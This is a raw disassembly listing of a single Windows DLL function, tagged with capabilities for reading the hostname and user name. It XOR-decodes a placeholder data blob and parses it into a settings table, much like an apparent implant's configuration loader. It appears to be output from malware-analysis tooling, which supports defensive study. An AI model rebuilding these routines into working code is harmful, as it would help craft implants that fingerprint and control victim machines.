Function at 0x18003a73c
Capabilities:
Get hostname
Get session user name

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0xc8
mov dword [rsp + 0x60], 0x100
mov eax, dword [rsp + 0x60]
add eax, 0x400
mov ecx, eax
call fcn.18001b0e0
mov qword [rsp + 0x58], rax
mov edx, 0x100
mov rcx, qword [rsp + 0x58]
call fcn.18001b450
mov qword [rsp + 0x78], rax
mov edx, 0x100
mov rcx, qword [rsp + 0x58]
call fcn.18001b450
mov qword [rsp + 0x68], rax
mov edx, 0x100
mov rcx, qword [rsp + 0x58]
call fcn.18001b450
mov qword [rsp + 0x70], rax
mov edx, 0x80
mov rcx, qword [rsp + 0x58]
call fcn.18001b450
mov qword [rsp + 0xb0], rax
mov edx, 0x80
mov rcx, qword [rsp + 0x58]
call fcn.18001b450
mov qword [rsp + 0xa8], rax
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x50], 0
mov dword [rsp + 0x64], 0
mov rax, qword [rsp + 0xe0]
mov qword [0x180073458], rax
mov edx, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call fcn.18001b450
mov qword [0x180073468], rax
movsxd rax, dword [rsp + 0x60]
mov qword [rsp + 0xa0], rax
mov rdi, qword [0x180073468]
xor eax, eax
mov rcx, qword [rsp + 0xa0]
rep stosb byte [rdi], al
call fcn.18003a420
mov ecx, 0x800
call fcn.18003ffe4
mov qword [0x180073460], rax
mov rdi, qword [0x180073460]
xor eax, eax
mov ecx, 0x800
rep stosb byte [rdi], al
mov qword [rsp + 0x20], 0
mov r9d, 1
mov r8d, 1
mov edx, 0x800
mov rcx, qword [0x180073460]
call fcn.18003f430
mov ecx, 8
call fcn.18003a3e0
mov word [rsp + 0x30], ax
movzx eax, word [rsp + 0x30]
test eax, eax
jle 0x18003a90e
xor ecx, ecx
call fcn.180010dbc
mov dword [rsp + 0x40], eax
mov ecx, dword [rsp + 0x40]
call sub.WS2_32.dll_htonl
mov dword [rsp + 0x40], eax
movzx eax, word [rsp + 0x30]
cmp eax, 1
jne 0x18003a8c2
mov eax, dword [rsp + 0x40]
and eax, 0xff000000
mov dword [rsp + 0x40], eax
jmp 0x18003a8f2
movzx eax, word [rsp + 0x30]
cmp eax, 2
jne 0x18003a8db
mov eax, dword [rsp + 0x40]
and eax, 0xffff0000
mov dword [rsp + 0x40], eax
jmp 0x18003a8f2
movzx eax, word [rsp + 0x30]
cmp eax, 3
jne 0x18003a8f2
mov eax, dword [rsp + 0x40]
and eax, 0xffffff00
mov dword [rsp + 0x40], eax
mov r9d, 4
lea r8, [rsp + 0x40]
mov edx, 0x1800
lea rcx, str.AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRR
call fcn.18003a5c4
mov ecx, 7
call fcn.18003a400
mov word [rsp + 0x30], ax
movzx eax, word [rsp + 0x30]
test eax, eax
jle 0x18003a959
mov dword [rsp + 0x3c], 0x100
lea r8, [rsp + 0x3c]
mov rdx, qword [rsp + 0x70]
mov ecx, 6
call qword [sym.imp.KERNEL32.dll_GetComputerNameExA]
movzx eax, word [rsp + 0x30]
mov r8d, dword [rsp + 0x3c]
mov edx, eax
mov rcx, qword [rsp + 0x70]
call fcn.18003af7c
mov ecx, 6
call fcn.18003a400
mov word [rsp + 0x30], ax
movzx eax, word [rsp + 0x30]
test eax, eax
jle 0x18003a99f
mov dword [rsp + 0x3c], 0x100
lea rdx, [rsp + 0x3c]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
movzx eax, word [rsp + 0x30]
mov r8d, dword [rsp + 0x3c]
mov edx, eax
mov rcx, qword [rsp + 0x78]
call fcn.18003af7c
mov ecx, 5
call fcn.18003a400
mov word [rsp + 0x30], ax
movzx eax, word [rsp + 0x30]
test eax, eax
jle 0x18003a9ef
mov dword [rsp + 0x3c], 0x100
lea rdx, [rsp + 0x3c]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov eax, dword [rsp + 0x3c]
dec eax
mov dword [rsp + 0x3c], eax
movzx eax, word [rsp + 0x30]
mov r8d, dword [rsp + 0x3c]
mov edx, eax
mov rcx, qword [rsp + 0x68]
call fcn.18003af7c
mov dword [rsp + 0x38], 0
jmp 0x18003aa03
mov eax, dword [rsp + 0x38]
inc eax
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0x1800
jge 0x18003aa31
movsxd rax, dword [rsp + 0x38]
lea rcx, str.AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRR
movsx eax, byte [rcx + rax]
xor eax, 0x2e
movsxd rcx, dword [rsp + 0x38]
lea rdx, str.AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRR
mov byte [rdx + rcx], al
jmp 0x18003a9f9
mov ecx, 9
call fcn.18003a3e0
mov dword [rsp + 0x48], eax
cmp dword [rsp + 0x48], 0
je 0x18003aabb
mov dword [rsp + 0x38], 0
jmp 0x18003aa5a
mov eax, dword [rsp + 0x38]
inc eax
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0x1800
jge 0x18003aaaf
movsxd rax, dword [rsp + 0x38]
lea rcx, str.AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRR
movsx eax, byte [rcx + rax]
and eax, 0xff
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x38]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
inc eax
mov ecx, dword [rsp + 0x64]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov eax, ecx
xor edx, edx
mov ecx, 0x5f5e0ff
div ecx
mov eax, edx
mov dword [rsp + 0x50], eax
jmp 0x18003aa50
mov eax, dword [rsp + 0x48]
dec eax
mov dword [rsp + 0x48], eax
jmp 0x18003aacb
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x50], 0
mov r8d, 0x1800
lea rdx, str.AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRR
lea rcx, [rsp + 0x80]
call fcn.18001b280
mov eax, dword [rsp + 0x50]
cmp dword [rsp + 0x48], eax
jne 0x18003ac78
xor eax, eax
cmp eax, 1
je 0x18003ac78
lea rcx, [rsp + 0x80]
call fcn.18001b504
mov word [rsp + 0x34], ax
movsx eax, word [rsp + 0x34]
test eax, eax
jg 0x18003ab1e
jmp 0x18003ac78
lea rcx, [rsp + 0x80]
call fcn.18001b504
mov word [rsp + 0x4c], ax
lea rcx, [rsp + 0x80]
call fcn.18001b504
mov word [rsp + 0x44], ax
movsx rax, word [rsp + 0x34]
imul rax, rax, 0x10
mov rcx, qword [0x180073460]
movzx edx, word [rsp + 0x4c]
mov word [rcx + rax], dx
movsx eax, word [rsp + 0x4c]
mov dword [rsp + 0x54], eax
cmp dword [rsp + 0x54], 1
je 0x18003ab7f
cmp dword [rsp + 0x54], 2
je 0x18003aba7
cmp dword [rsp + 0x54], 3
je 0x18003abce
jmp 0x18003ac73
lea rcx, [rsp + 0x80]
call fcn.18001b504
movsx rcx, word [rsp + 0x34]
imul rcx, rcx, 0x10
mov rdx, qword [0x180073460]
mov word [rdx + rcx + 8], ax
jmp 0x18003ac73
lea rcx, [rsp + 0x80]
call fcn.18001b2c4
movsx rcx, word [rsp + 0x34]
imul rcx, rcx, 0x10
mov rdx, qword [0x180073460]
mov dword [rdx + rcx + 8], eax
jmp 0x18003ac73
movsx rax, word [rsp + 0x44]
mov rcx, rax
call fcn.18003ffe4
movsx rcx, word [rsp + 0x34]
imul rcx, rcx, 0x10
mov rdx, qword [0x180073460]
mov qword [rdx + rcx + 8], rax
movsx rax, word [rsp + 0x44]
mov qword [rsp + 0x98], rax
movsx ecx, word [rsp + 0x44]
mov edx, ecx
lea rcx, [rsp + 0x80]
call fcn.18001b450
movsx rcx, word [rsp + 0x34]
imul rcx, rcx, 0x10
mov rdx, qword [0x180073460]
mov rdi, qword [rdx + rcx + 8]
mov rsi, rax
mov rax, qword [rsp + 0x98]
mov rcx, rax
rep movsb byte [rdi], byte [rsi]
movsx rax, word [rsp + 0x44]
movsx rcx, word [rsp + 0x34]
imul rcx, rcx, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 1
mov r8d, 1
mov rdx, rax
mov rax, qword [0x180073460]
mov rcx, qword [rax + rcx + 8]
call fcn.18003f430
jmp 0x18003aaf3
mov rcx, qword [rsp + 0x58]
call fcn.18001b250
lea rax, str.AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRR
mov rdi, rax
xor eax, eax
mov ecx, 0x1800
rep stosb byte [rdi], al
mov ecx, reloc.WS2_32.dll_recvfrom
call fcn.18003a6d4
mov ecx, eax
call fcn.18003c58c
add rsp, 0xc8
pop rdi
pop rsi
ret